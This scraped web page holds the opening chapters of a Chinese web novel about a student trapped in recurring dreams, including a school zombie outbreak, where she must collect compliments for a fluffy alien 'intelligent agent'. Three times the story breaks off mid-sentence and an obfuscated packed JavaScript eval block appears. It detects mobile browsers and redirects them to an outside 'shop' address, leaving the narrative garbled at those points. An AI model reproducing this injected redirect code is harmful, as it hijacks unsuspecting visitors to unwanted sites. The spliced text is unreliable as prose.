《今天晚上又在做梦》 1. 第 1 章 身后丧尸低沉的嘶吼声越来越近,一股从他们身上发出腐烂的恶臭味充斥在整个楼栋,让人难以忍受。 谢知榆的脚步一刻也不敢停歇,双腿像灌了铅,只能凭借意志力拼命往前冲。心脏狂跳不止,仿佛下一秒就要撞破胸口跳出来,粗重的呼吸声像破旧漏风的风箱,“呼哧呼哧”喘个不停。 “不行了,不行了,爱咋滴咋滴吧,我不跑了,”谢知榆靠着墙一屁股坐下,“有本事就在梦里把我杀了!” 身后的丧尸早已追至眼前,浑浊的眼球没有聚焦,口水顺着青灰的嘴角不断滴落,在下巴处坠成一条黏腻的晶莹水链。就在丧尸腥臭的獠牙即将咬上她脖颈的前一秒,谢知榆眼前猛地一黑,彻底失去了意识。 几秒过后,谢知榆又回到了最初的那个场景。 南方的七月底温度已经到达最高点,整个学校只有高三还在上课,用老班的话说,在上一届高考结束的那一刻,我们就已经踏入了高三。教室里空调冒着冷气的空调和吱嘎作响的风扇,让谢知榆有了回到那年夏天的感觉。 谢知榆恍惚了一下,她险些没分清是她刚刚在课上睡了一觉醒来,还是仍然在做梦,英语老师在讲台上枯燥地说着每一处语法,教室里意志顽强的没剩几个。 同桌“咚”地一声,头砸在书桌上,教室里所有人都迷迷糊糊地往这边看,老师看了一眼时间,无奈地说:“还有三分钟下课,大家先自习一会吧。想睡觉的自己站起来,等会下课出去走走,醒醒瞌睡。” 同桌羞得整张脸通红,一下精神了,她戳了戳谢知榆,递来一张纸条:“怎么不掐醒我,好丢脸啊。”后面跟着一个大哭的火柴人。 谢知榆写下几个字,递了回去:“我也刚醒,还没来得及叫你。” 谢知榆在草稿纸上写写画画她回忆着最近发生的事情,最近她经常做各种光怪离奇的梦,有时只是一个片段,有时又很连贯。 起初,谢知榆以为是自己看小说看多了,才频繁做梦,直到她连做了一个星期的梦,每次做醒来后,记忆都无比清晰,像是真的发生了一样。 而且,谢知榆在梦中能意识到自己在做梦,却怎么也醒不过来。但之前从来没有出现过经历了梦境却没醒,反而重来一次的情况,谢知榆不知道是什么情况,只能走一步看一步。 上次丧尸爆发是她和同桌下课准备一起吃午饭,还在楼梯上周围的人瞬间变异了,当时她虽然记着自己在梦中,但那种恐惧感还是驱使着她顺着人潮不停往前跑。 谢知榆在本子上写了好多种方法,要怎么从这梦境中醒来。活下去?拯救世界? 下课铃一响,周围的同学整齐划一地趴在桌子上,还有一节课就放学了,大家是又饿又困,偶尔有几个同学从课桌拿出一些零食,周围你一口我一口。谢知榆小心绕过道摆放的箱子,她打算去找班主任请假,在家里的生存率怎么都感觉比在学校高。她准备先去超市采购点物资,在家里苟几天。 班主任在办公室和其他老师闲聊着,谢知榆说明来意,自己不舒服想请半天假,老班没说什么,龙飞凤舞地前下自己的名字。 “谢知榆,最近压力大不大,”老班在旁边看着谢知榆填请假条上的信息,“我看班上那几个喜欢打跳的都不怎么出教室了。” 谢知榆心里一慌,只能打哈哈敷衍过去。虽说这只是在梦里,但面对班主任,她骨子里的怂劲还是藏不住:“还好还好,可能就是最近没休息好,有点累。” 老班也没多说什么,只是让谢知榆压力不要太大,晚上要休息好,称得上苦口婆心,最后还叮嘱她到家了发个消息。 谢知榆拿到请假条,整个人都轻松了,脚步轻盈地回到教室,背上自己的小书包,找班长把手机取出来,同桌看到谢知榆请假了,拉着她的衣角,面露苦色:“不要抛下我啊,榆儿,没有你我可怎么活啊?” 谢知榆转过身来,把她的手拉了下来,交给后桌,以前她们仨经常一起吃饭,没想到毕业没几年,谢知榆居然有一种恍若隔世的感觉。 “小雅,我把佳希交给你了,我先走了。” 陈佳希对着谢知榆的背影伸出手,脸上满是不舍:“哦不,我的榆,你不能抛弃我!” 谢知榆顶着烈日走到了校门口,门卫例行将假条存档后,就将谢知榆放了出去。 没等谢知榆高兴超过三秒钟,她的笑容僵在脸上,校门外什么都没有,白茫茫的一片,视线看到不到尽头。她试探性地往前走了一段距离,估计着至少有个三四百米,可回头一看,校门还是安静地矗立在她身后,看着她回头,门卫有些奇怪的看了看她。 谢知榆不信邪又往前走了一百来米,一回头,校门还是在她身后,她试着倒着走,还是不行,一遍两遍三遍,她彻底放弃了。谢知榆仰天长叹:“苍天啊,大地啊,你到底要干嘛啊!” “我去!”一声惊呼从谢知榆口中传出。她眼前突然凭空出现了一个毛茸茸的圆球,拳头大小,雪白的绒毛蓬松柔软,看起来格外可爱,可在这白茫茫的混沌里突然出现,又透着一股说不出的诡异。谢知榆下意识地盯着圆球,朝它的反方向后退,可那个没有腿的小东西,居然跟着她一起动——她后退一步,它就往前蹦一下,始终和她保持着不远不近的距离。 谢知榆双腿发软:“你……你……到底是什么,是人你就说人话,是鬼你就别说话!” 那坨毛球停下了跳跃,头顶突然冒出一串小小的问号,声音软乎乎的,却带着一丝机械感:“我不是人也不是鬼,你好,我是来自G1526世界的智能体,主要职能是维护各世界稳定。” “那你该干嘛就干嘛去啊,找我干嘛!” 毛球沉默了,谢知榆继续输出:“快回你的世界,哪凉快哪待着去。” “回不去了,回不去了,”边说,毛球头上边播放各种哭泣的表情,“我本来是要去另一个世界完成任务的,结果被你们这里的陨石砸了,现在我就剩一个脑袋了。” 没管谢知榆的反应,它继续哭诉:“我还才活了200年呢,我不要报废啊,呜呜呜。” “那关我什么事,快让我醒过来,”谢知榆没掉入毛球的陷阱,还安慰它,“球各有命,富贵在天,命里有时终须有,命里无时莫强求。” 毛球停下了刷屏的哭泣表情,求知欲旺盛地说:“这是什么意思呀?” 谢知榆叹了口气,原来还是个小文盲:“还智能体呢,这都不知道,意思就是,看命吧,别挣扎了。” 毛球在原地一蹦三尺高,整个球从白的变成了红的:“你你你,我们的语言又不互通,我才学了一天你们全地球的文字,要是我说我的语言你能听懂!” “好好好,你最聪明了,那请聪明的你把我弄出梦境好不好。”谢知榆没空管这么多,她只想现在立刻马上醒过来。 “出不去了,我被陨石一砸偏离了轨迹,刚好砸到你的身上了,现在除非你完成任务,不然我们都要被困在你的梦境中。” 谢知榆怒极反笑,直到此刻她才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565457|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现,小说里那些狗血情节发生在自己身上,是多么令人窒息:“我允许你附身了吗?要被报废的是你,又不是我,凭什么要我帮你完成任务?我看你们那个G什么6世界,全是你这种强买强卖的球!爱谁完成谁完成,反正我不干!” 谢知榆整个人陷入了一种怒火攻心的状态,一开始她以为是自己中邪了才被困在梦中,没想到是被这个所谓的智能体给连累了。 毛球继续说:“其实对你也没害处啊,在你的梦中你也不会死,还能体验各种剧情,就当是扶老奶奶过马路——助人为乐呗。” “还会说歇后语了啊,我看是引火烧身吧,你知道因为你我天天做梦,黑眼圈重得都能去cos国宝了,我凭什么帮你啊,我不要睡觉的吗?” “那你想要什么,只要不是影响世界稳定的愿望,我都可以实现。金钱,权利还是其它的,我都能给你,只要你帮我修复好我的身体我就实现你一个愿望,”毛球说这,就从毛毛里掏出出一根金条,“而且,我现在的能量不够不脱离你的身体,你不完成任务就出不了梦境,互惠互利,不好吗?” 这毛球还懂拿捏人性,伸头也是一刀缩头也是一刀,反正在梦中也不会死,还不如就答应它算了。 谢知榆思考了一会儿,下定决心:“行,我答应了,不过你得告诉我你为什么需要我在梦境中实现愿望,你在的那个什么G什么6世界到底是什么?” 毛球整个球都开心了:“我就知道你是个好人,肯定会答应的。我是在G1526世界,我们的世界都是像我一样的智能体,每天我们就是维护各个世界的稳定。我们是依靠愿力生活的,帮别人实现的愿望越多,我的能量越强,只是现在我只能依靠你的梦境来实现了,虽然在梦中实现愿望得到了能量不多,但这是唯一的方法了。” “在梦中实现愿望?有什么用,不都是假的吗?” 毛球一本正经地说:“你们这儿不是有句话叫‘一花一世界,一叶一菩提’吗,所以你怎么就能肯定梦里的就一定是假的呢。” “有道理,说吧,这次要实现什么愿望。”谢知榆忍不住为它鼓掌。 “很简单,只要你集齐十个别人真心的‘你好厉害’就可以了。”谢知榆能从它一团毛中看出它身上写满了快夸我,快夸我,三个字。 “这集齐十个‘你好厉害’,到底是谁的损招,还必须得真心。” 毛球心虚:“这是你的愿望啊,我还给你简化了一下,不然就凭你跑一步喘两步的速度,丧尸早追上你了好吧。” 谢知榆把毛球一把薅起来,在手里团吧团吧:“我怎么可能有这么无聊的愿望,说,是不是你胡编乱造的。” 毛球挣扎:“冤枉啊,我骗你有什么好处吗?你自己高中的时候就天天想着要在末世里大显身手,我没让你拯救世界都不错了。而且,我还没加你想的那些乱七八糟的设定,这里变异的丧尸只是单纯想吃人罢了,武力值是一点没上升。” 谢知榆无语:“你下次帮别人实现愿望能不能先问问,我只是口嗨,口嗨你知道是什么意思吗!” “我都是靠感知的,况且有些人也不会把自己真实的愿望说出来,万一愿望实现错了,我不但得不到能量,还可能扣除呢,”毛球委屈巴巴,“你们地球人的话根本不能信。” “行吧行吧,”谢知榆无奈地摆摆手,“谁让我这么善良呢,我去完成任务。” 毛球高兴地接受了自己的新名字,只要谢知榆愿意完成任务,叫什么都可以。 2. 第 2 章 谢知榆走到校门口,门卫尽职尽责地在门口守着,看着她去而复返,问:“怎么又回来了?” 谢知榆拍了拍书包:“作业忘带了,回去拿一下作业。” 上课铃已经响了,整个校园空无一人,谢知榆走在校园大道上只觉得头上的太阳越来越烈,裸露在外的皮肤被灼烧得刺痛。 她是这样理解任务的,要想被夸厉害,肯定是要有一个帅气的出场,她先回宿舍换了一套衣服,把红色的校服换成一身黑色工装,虽然热是热了点,但是酷啊。 谢知榆把宿舍翻了个遍,找到几根绳子和皮带,挂在手臂上,把所有吃的喝的都装在书包里,又去学校超市扫荡一番,估摸着时间快到了,大摇大摆地往教室走。 路上偶尔有几个借口上厕所溜出来吃饭的同学,看着这一袭打扮的谢知榆,都忍不住侧目。 “嘿,谢知榆,你不是请假回家了吗?”迎面走来了一个男生,向谢知榆挥了挥手,“别告诉老班,我提前溜走去食堂了。” 谢知榆还在想怎么凭一己之力制服教室里的丧尸,帮手这不就来了:“刘浩,先别去吃饭了,帮我个忙,以后请你吃顿好的。” 刘浩兴奋地说:“啥事啊,看你这身打扮,要去干什么坏事?” “别问,跟我来就行了。” 刘浩跟着谢知榆走了一段路,越看越不对劲:“这不是回教室的路吗,你不会你要把我押送到老班面前吧!我就是想吃个午饭,我能有什么错。” 谢知榆转过身来,无语地看着他,怎么高中时候没发现他这么有想象力:“别乱说,我是那种人吗,等会你帮我堵一下教室后门,我让你绑谁就绑谁。”说完,从身上取下两个绳子递给他。 “啊?”刘浩震惊地喊了一声,观察了谢知榆的表情发现她好像是认真的,更惊讶了,“你认真的啊,那还不如你把我押送到老班面前呢。” “没事,到时候老班的怒火我来承担,”谢知榆安慰地拍了一下刘浩的肩膀,“好了,到教室了,记住,我们今天是来拯救世界的。”她说完就要往教室里走去。 刘浩看着谢知榆这大胆的行为,连忙拉住她:“你认真的啊,不会是学习学疯了吧,别讳疾忌医,有病得治啊。”越说,刘浩越觉得自己发现了真相。 “下课时间到,老师你们辛苦了。” 下课铃敲响了,谢知榆拨开刘浩的手,神情诚恳地说:“我真没疯,没时间了,你只要帮我守住后门就行了。” 说完,直愣愣地从前门冲进教室,差点和老班撞上。刘浩被留在原地,一咬牙一跺脚:“行吧,今天也算是舍命陪君子了,大不了就麻烦我妈来学校一趟。” 他快速地冲进后门,用后背吧门抵住,然后他看到了让他惊掉下巴的一幕,谢知榆正拦着老班不让他走。难怪刚刚没有人从后门溜走,有这一幕看,谁还吃饭啊。 老班按着自己突突的太阳穴,努力让自己的心情平复下来:“谢知榆,你有什么事吗,我们可以去办公室,你这样拦着我不下课,同学们还要吃饭呢。”说完,看了一样班上的同学,每一个眼神里都是看热闹不嫌事大,后门还被刘浩堵住,这群兔崽子,老班觉得自己心脏也不行了。 谢知榆点了点头,老班刚燃起一点希望,又见她摇了摇头,态度坚决地说:“今天我有一件大事要说。”她看了一眼手表,默念5,4,3,2,1! 电光火石之间,教室里异变突现,刚刚还在看热闹的同学,有几个就在一瞬间,变成了眼睛通红,张着血盆大口的丧尸。 “刘浩,把他们绑住,”谢知榆推开老班,用绳子把离他最近的丧尸捆了起来,“大家别害怕,不要乱跑,外面更混乱,一起把教室里的丧尸绑住。” 上一秒还安静整齐的教室,一下子陷入的混乱之中,尖叫声此起彼伏,刘浩还没从惊讶中反应过来,角落里一个男生就先一步按照谢知榆的吩咐行动了起来。 幸好一开始的时候只有零星几个变异,不然,谢知榆也没有把握制服他们。 处于混乱中的同学也终于反应过来了,帮着用课桌把变异的同学围在圈里,所有人肾上腺素飙升,面色发白。 刘浩这时候凑到了谢知榆的声旁:“你早就知道他们要变异吗?”谢知榆原本以为他要打破砂锅问到底,没想到下一秒。 “谢知榆,你真是太厉害了,从今天开始你就是我老大!” 任务进度(1/10),谢知榆面前弹出一块半透明的屏幕,心想:这就完成一次了吗,这么容易,我真是太聪明了,哈哈哈。 人逢喜事精神爽,谢知榆谦虚地说:"没那么厉害啦,运气运气。" 周围的同学都凑了过来,七嘴八舌地问到底是什么情况,是真的世界末日了吗? 谢知榆拿出一早准备好的说辞:“我不是请假了吗,谁知道我一出校门就发现外面全是这种红着眼睛,张着嘴巴的‘人’,我只好跑回学校,怕你们不信,才没有直接说。” 大家又叽叽喳喳地夸着谢知榆真的很厉害,要是他们早就被吓得躲起来了。 任务已完成(10/10),谢知榆没想到这个任务居然这么容易。就在她窃喜的时候,有个女生静静地问了一句,那我们的爸妈怎么样了,我们还能活下去吗? 毛球在脑海里,语气得意地说:“你看,我就说这个任务很容易吧!” 顿时整个教室都安静了下来,刚刚经历刺激场面的兴奋感被这句话击退,这样现实的问题让所有人都不敢细想。 虽然谢知榆觉得梦里都是假的,他们都不存在,但看到这么多熟悉的面孔,她还是忍不住出言安慰:“你们看,光是凭我们就可以制服他们,我们的爸妈肯定也不会遇到危险的。” “对啊,我们先拿手机给爸妈打个电话吧!” “对对,让他们躲在家里千万别出门,肯定过不了几天我们国家就能来救我们。” 谢知榆看着重新振作起来的大家,内心有一种难以言喻的满足,她才注意到角落里的那个男生,游离于所有人之外,刚刚也是他反应最快,但是她怎么对这个男生没有印象了,他是这个班的吗? 眼前一切逐渐模糊,谢知榆知道是自己要醒了,属于夏季的炎热逐渐消散,转而是踢开被子手脚冰凉的感觉。 谢知榆感觉迷迷糊糊睁开眼,昨晚手机没有充电,只剩下15%的电了,发出提醒的红色警告。 她还没从刚刚刺激的梦中平复下来,心脏砰砰乱跳,想要平静却无济于事。谢知榆只能放空自己,盯着黑暗不知看向何处。 在手机彻底没电前,谢知榆摸索着下床把电充好,红色的警示熄灭,屏幕亮了起来,屏幕在黑暗中太亮了,晃得谢知榆睁不开眼。适应了好一会儿,谢知榆才看清时间。 早晨六点。 周末的六点,宿舍一片寂静,偶尔听见舍友翻身的声音。谢知榆回到床上尝试再次入眠,可刚刚梦中的场景一直在她脑海中播放,她烦躁地用被子捂住脑袋,在内心哀嚎。 下一秒,她又把被子拿开,深呼吸了一口气,闭上眼睛,强迫自己入睡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565458|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>也许是昨天晚上真的没有睡好,不一会,谢知榆就睡了过去,终于,这次她没有再做梦了。 这一睡就又睡了四个小时,谢知榆听着舍友们洗漱的声音缓缓醒来。睡眼朦胧地摸索着手机,一看时间已经十点过了,才逐渐清醒。 谢知榆打着哈欠下床,行尸走肉地走向洗漱台。林舒也正在洗漱,看见谢知榆过来:“你昨天不是那么早上床吗,怎么还这么困啊?” “别提了,最近天天做梦,睡都睡不好。”谢知榆郁闷地说。 林舒惊讶地说:“天天做梦?你是不是最近太累了啊。” “不知道啊,我好久都没有熬夜了,每天都睡得挺早的。”谢知榆也不可能把自己被一个诡异毛球绑定的事说出来。 许晓月说:“你这情况有点诡异啊,要不上山拜拜。”许晓月的外婆比较信这些灵异鬼怪,她从小跟着外婆生活也就对此耳濡目染了。 叶雨兰附和着,说:“刚好今天没事,要不就去附近的寺庙拜一拜。” 谢知榆也不好拂开她们的心意,自己正好想要出去散散心,也就同意了。 说干就干,叶雨兰直接查了附近号称最灵验的寺庙,大家简单收拾了一下就准备出发了。 其实说是附近,但也有点远,坐地铁需要一个多小时。除了许晓月,她们都很少去寺庙,对去烧香拜佛还是很新奇的。 周末的寺庙人很多,但大多数人都是早起来寺庙,像谢知榆她们这样中午十一点才出门的少之又少,所以当她们到的时候,大部队已经开始返程了。 谢知榆一行四人走到大殿,只有零星几人还在。谢知榆问许晓月:“像我这种情况应该拜什么啊?” 许晓月沉思片刻,缓缓说:“这我也不太清楚,要不,都拜拜?” “也行,不走心也求走量吧。” 说完,谢知榆就去给了香火费,去每个像面前恭敬地拜着。 她心中默念:“各路神仙们,保佑我们昨天晚上只是做了一个噩梦吧,求求了。” “我才不是噩梦呢,”毛球在她脑海里蹦跶,不服地说,“我帮你实现愿望,就算不是美梦,也不是噩梦吧!” “有本事你从我脑袋里出来啊,看如来佛祖不收了你。” 毛球还真飘了出来,悬空在谢知榆的正前方,它还在她面前转了个圈,把360度一模一样的球展示了一遍:“你昨天刚一完成任务我就去修复我的身体了,怎么样,有变化吗?” 谢知榆点了点头:“嗯嗯,有变化,屁股和脑袋换了个位置。” “诶诶,你这人……”毛球又转了180度,谢知榆猜测,这下可能真是把屁股对着她了,“算了算了,看在你帮我完成任务的份上我不跟你计较,你就没发现我变大一圈了,毛毛更有光泽了吗?” “嗯嗯,是是,对的对的。”谢知榆拿出敷衍三件套。 “知榆,走啦,该去下一个地方了。”叶舒看谢知榆在蒲团上跪了半天,嘴巴里还嘟嘟囔囔的,不知道在说。 她们三个想着来都来了,都去拜了拜财神爷。用叶雨兰的话说,什么都可能是假的,但钱是真的。 财神殿里香火依旧缭绕,谢知榆四人恭恭敬敬地走到财神像面前,认认真真地磕了好几个头,每一个都磕得格外虔诚。走出财神殿的时候,每个人的脑门上都磕出了一小块红印子,像个小小的红胎记。她们你看看我,我看看你,看着彼此脑门上的红印子,都忍不住“噗呲”一声笑出了声,刚才祭拜的虔诚,瞬间被这突如其来的滑稽感冲淡了。 3. 第 3 章 这一周,谢知榆每天晚上眼睛一闭就去做任务,还真有扶老奶奶过马路,包括但不限于帮小学生做作业,帮丢外卖的大学生抓小偷、帮小猫喂小鱼干…… 不像第一次毛球直接把任务给她,她还要自己去触发,几天下来,谢知榆感觉知己都要变成居委会大妈了。 “毛球,你给我出来,你这愿望正经吗,谁家好人这么许愿,还有其他我都忍了,猫还能许愿呢?”谢知榆坐在宿舍楼下的秋千椅上,捏着毛球,不断揉搓,“你是不是坑我呢?还用,你就不能把任务和任务对象给我标出来吗,你知道我一个一个的找有多费劲不!” 毛球在谢知榆手里拼命挣扎,想要挣脱出来:“谁骗你啦!这愿望也不是说有就有,我得感知,知道不,这么多人我一个一个的感知你知道有多累吗?” “况且,像实现你那种愿望,我也很费力的好不好,”毛球终于挣脱出来,蹦到了谢知榆脑袋上,“我也想快点啊,但是没办法嘛,每天晚上的梦都是随机的。”毛球气得在她头顶蹭来蹭去,差点把谢知榆的头发蹭乱。 谢知榆摸了摸头上的毛球:“没办法你不会想办法吗,你这球里装的都是豆腐吗?” “什么啊,我这整个球都是脑子好吧!” “对了!”谢知榆突然站起身来,毛球被她吓得掉在了地上,“我好像搞忘了一件事,我在第一个梦看到了一个不是我们班的男生,是怎么回事啊?” 毛球重新跳到谢知榆的腿上:“这很常见啊,你梦里比这奇怪的事情多了去了,虱子多了不怕咬,bug多了能运行就好。” “哦对了,我可能最近几天都不会出现了,你可以睡个好觉了,我要吸收一下最近的能量了。” 谢知榆回到宿舍时,叶雨兰正对着镜子换衣服,许晓月趴在书桌前赶作业,林舒则对着电脑屏幕,手指飞快地敲着键盘打游戏,宿舍里一派热闹。 “我回来啦!”谢知榆刚进门,叶雨兰就转着圈凑过来,裙摆轻轻晃动,“你看我这套衣服怎么样?好看不?” 谢知榆抬眼打量了一番,笑着打趣:“哎哟,这是从哪儿冒出来的大美人?不过都快十点了,你还出门?明天还有早八呢,不怕起不来?” 林舒眼睛盯着屏幕,手不停歇,嘴上还不忘调侃:“啧啧,这颜值,这气质,磕到了磕到了!” 叶雨兰无奈地翻了个白眼,抓起桌上的钥匙:“没办法啊,实验室那边催得急,非要我们现在过去。我走啦,记得给我留个灯!” “等等,”许晓月放下笔,走到谢知榆身边,双手抱胸,眼神带着点好奇,“你最近天天神出鬼没的,到底在忙什么呢?连宿舍都很少待。” 谢知榆一屁股瘫坐在椅子上,长长叹了口气,一脸苦大仇深:“唉,说起来都是一把辛酸泪,别提了。” 许晓月见状,默默走到她身后,伸出手轻轻捏着她的肩膀,力道刚好能缓解疲惫。谢知榆舒服地喟叹一声,语气夸张:“我们月月也太贤惠了吧,要是我是男生,肯定把你娶回家!” “女生也能把我们月月娶回家呀。”林舒头也不回地插了一句,语气里满是戏谑。 许晓月连忙摆了摆手,脸微微发红:“不了不了,我性取向目前还是直的,可别打趣我了。” 谢知榆笑了笑,伸了个懒腰:“好了好了,不跟你们闹了,我洗个澡就去睡觉,实在太累了。” 热水澡带走了一身的疲惫,谢知榆躺在床上,睡意渐渐加深,一夜无梦。 学校的食堂总是给人惊喜,谢知榆在早上吃下那个不知道卤了多少天的卤蛋后就一直不舒服。 最后一节课,肚子发出警告,已经全线崩溃了,谢知榆趴在桌子上,想要坚持到下课。她拿出手机,在宿舍群里说,“你们下课直接走吧,我肚子不舒服,先去上厕所了。” 林舒说,“那要不要我们给你带点吃的,等会你直接回宿舍休息吧。” 谢知榆连发了几个感谢的表情包,“给我带一份刀削面就行,不要辣椒,爱你们。” 离下课还有几分钟,这几分钟谢知榆简直度秒如年,生不如死,她发誓再也不去今早去的那个档口了。 谢知榆拿着手机,平时爱看的小说现在一点都看不进去,她不停的进出各个软件,想要转移注意力。 终于,在谢知榆濒临崩溃的时候,下课铃声响起了,犹如一道天籁。谢知榆拿起书包,冲出教室,直奔厕所。 “砰!” 屋漏偏逢连夜雨,谢知榆在走廊拐角处,猝不及防地和一个人撞在了一起。力的作用是相互的,她重心不稳,向后一倒,结结实实地摔了个屁股墩,疼得她差点喊出声。而对方只是微微后退了一步,就稳稳地站定了。 谢知榆咬着牙,硬生生憋回了到嘴边的哀嚎——大庭广众之下,摔得这么惨,已经够丢人了,可不能再添一笔。她撑着地面想站起来,可刚一用力,屁股就传来一阵刺痛,顺着尾椎骨蔓延开来,疼得她倒抽一口冷气,又坐了回去。 那人见她半天没站起来,连忙快步走过来,蹲下身子,伸手想扶她:“你没事吧?” 谢知榆借着他的力气,慢慢站起身,揉着发疼的屁股,抬头正要道谢,可看清对方的脸时,话音瞬间卡在了喉咙里,下意识地脱口而出:“怎么是你!” 男生脸上带着一丝疑惑,眼神清澈,看着她问道:“学姐,你认识我?” 谢知榆瞬间反应过来,恨不得找个地缝钻进去——她怎么就把心里话喊出来了?她连忙掩饰地笑了笑,语气有些不自然:“没、没有,就是觉得你有点眼熟。” 话一出口,她就想抽自己一巴掌——这话听着,也太像搭讪了吧! 男生却没多想,嘴角微微扬起,露出一个干净的笑容:“我之前在开学招新的时候见过你,我叫江亦钦。” 江亦钦穿着简单的白色短袖,搭配浅蓝色的牛仔裤,发型因为刚才的意外有些凌乱,但还是从头到脚透露出干净清爽的感觉。 谢知榆想问,老天爷,你真的把我当孙子了吗,非要我丢脸才满意吗? 这下好了,丢脸到认识的人面前了,都怪那该死的卤蛋。谢知榆刚刚抬起的头又低下了,她现在只想捂住脸走到厕所门口。“对不起啊,改天请你吃饭,我还有事,就先走一步了。” 江亦钦却像是听不懂谢知榆话里的意思一样,一步一履地跟着谢知榆。谢知榆想快走几步甩掉他,一走快了,屁股连着尾椎骨一起痛,谢知榆差一点又一屁股坐了下去。江亦钦看着谢知榆走路都困难的样子,说:“学姐,你要去那里啊,我扶你去。” 谢知榆也认清楚了现实,现在要是想自己蹦去厕所的可能性不小,但还有很大的可能自己会卒在半路。 谢知榆轻轻地扶住江亦钦的小臂,没想到他看着挺清瘦的,手臂却很有力量。谢知榆刚一扶上他的手臂,江亦钦就反握住了她,他的手紧紧地锢住谢知榆的手臂。谢知榆不安地想挣脱开,她刚一有这个念头,江亦钦就像是知道她在想什么一样,说:“这样好扶一点。” 谢知榆没说话,默认了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565459|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 “学姐,现在你是要去哪里啊?” 谢知榆心想:这话我怎么答,说我要去厕所解决人生三急之一吗?面上还是平淡地说:“直走就行。” 谢知榆再也没有今天觉得十米的走廊有这么长的时候了。谢知榆在厕所门口停下,说:“谢谢你,扶我到这儿就行了,你先走吧。”说完,谢知榆像是失去了所有力气一样一瘸一拐地走进了厕所。 刚一进厕所,谢知榆就拿出手机,在宿舍群里面述说着自己的悲惨遭遇,简直是闻者流泪,听者伤心。舍友们应该还在赶着去食堂,没有一个人回了谢知榆的消息。 谢知榆神清气爽地从厕所出来了,她先是探头探脑地看江亦钦走没有,看到门口已经不见他的踪迹,谢知榆松了一口气。 想着,谢知榆一步一步地挪出了厕所门口,谢知榆现在是能共情美人鱼在陆地走路的感觉了,只不过她是走一步屁股痛一下。 “学姐,你出来了。”江亦钦突然出声,吓得谢知榆倒吸一口凉气,后退几步,江亦钦却以为她站不稳了,连忙三步并作两步,扶住谢知榆。 原来是江亦钦刚刚贴着墙站的,谢知榆从厕所里面看,他刚好在视野盲区。谢知榆觉得今天一天的惊吓量已经超标了,再吓一次,她就要去看看自己的心脏。 谢知榆轻拍了几下自己的胸口,把情绪平复了下来,说:“你怎么还没走?” 江亦钦一脸认真,理由十足:“是我把学姐撞倒的,怎么能就这么走了?万一你摔得很严重,没人照顾怎么办?” 谢知榆看着他一本正经的样子,只想扶额苦笑,耐着性子解释:“我真的没什么大事,况且是我自己走路没看路,跟你没关系。我现在要回宿舍休息了,你也去忙自己的事吧。” 可江亦钦扶着她的手反而更用力了些,语气带着几分坚持:“那不行,还是得去校医院检查一下,确认没事才放心。” 谢知榆还在犹豫着呢,江亦钦就蹲下,说:“上来吧,我背你去。”江亦钦看着谢知榆每走一步都痛得不行。 谢知榆一想,也是还是检查一下放心点,拍了拍江亦钦的后背,示意他站起来,说:“不用不用,你扶我就行了。” 江亦钦也没有勉强谢知榆,利落地站了起来,继续扶着谢知榆,让她大部分重量都要靠在他的身上。 谢知榆觉得他小题大做了,只是撞了一下,等会就好了,根本不用去医院。 “你把我扶回宿舍吧,我感觉没有很严重。” 江亦钦不赞同地摇了摇头,说:“还是要检查一下更放心。” 谢知榆知道自己拗不过他,只好点了点头。 校医院离教学楼没有多远,谢知榆也不好把全身都靠在江亦钦身上,自己暗自用力,还要控制着表情不要太扭曲。 挂好了号,医生让谢知榆先去一楼拍个片子,饭点的校医院没有多少人,没一会结果就出来了,拿去给医生看。 谢知榆坐在板凳上,江亦钦一脸紧张地站在她身后,医生对光看了一会:“没什么大碍,只是软组织挫伤,最近尽量避免久坐,多侧卧或者趴着休息。” “那什么时候能好啊,我下周还要体测?”谢知榆第一反应是完了,她的考试怎么办。 “要是想好快点可以两天后来针灸和推拿一下。” 谢知榆瞬间垮了脸——她本来就没多少生活费,这下好了,针灸推拿一花钱,她本来就不富裕的钱包,这下更瘪了。她在心里默默哀嚎:这倒霉的一天,什么时候才能结束啊! 4. 第 4 章 谢知榆一句话也没说,从校医院走出来在内心疯狂刷屏,自己今天也太倒霉了,简直是喝凉水都塞牙缝。 幸好他们学校的校车四通八达,不然她要从校医院蹦跶回去还是有点困难,谢知榆坐上校车:“我先回宿舍了,你有事就先走吧。”谢知榆之前看过大一的课表,知道他们周五是满课,本来中午休息时间就不多,她也没有多严重,也不太需要江亦钦送她回去。 “我没事,还是我送你到宿舍楼下吧,对了,学姐,你还没吃午饭吧,要不去食堂给你打包一份。” 这学弟也太有热心了吧,本来就是她自己走路没看路撞了上去,谢知榆尴尬而不失礼貌地微笑:“不用了,我已经让我舍友帮忙带了。” 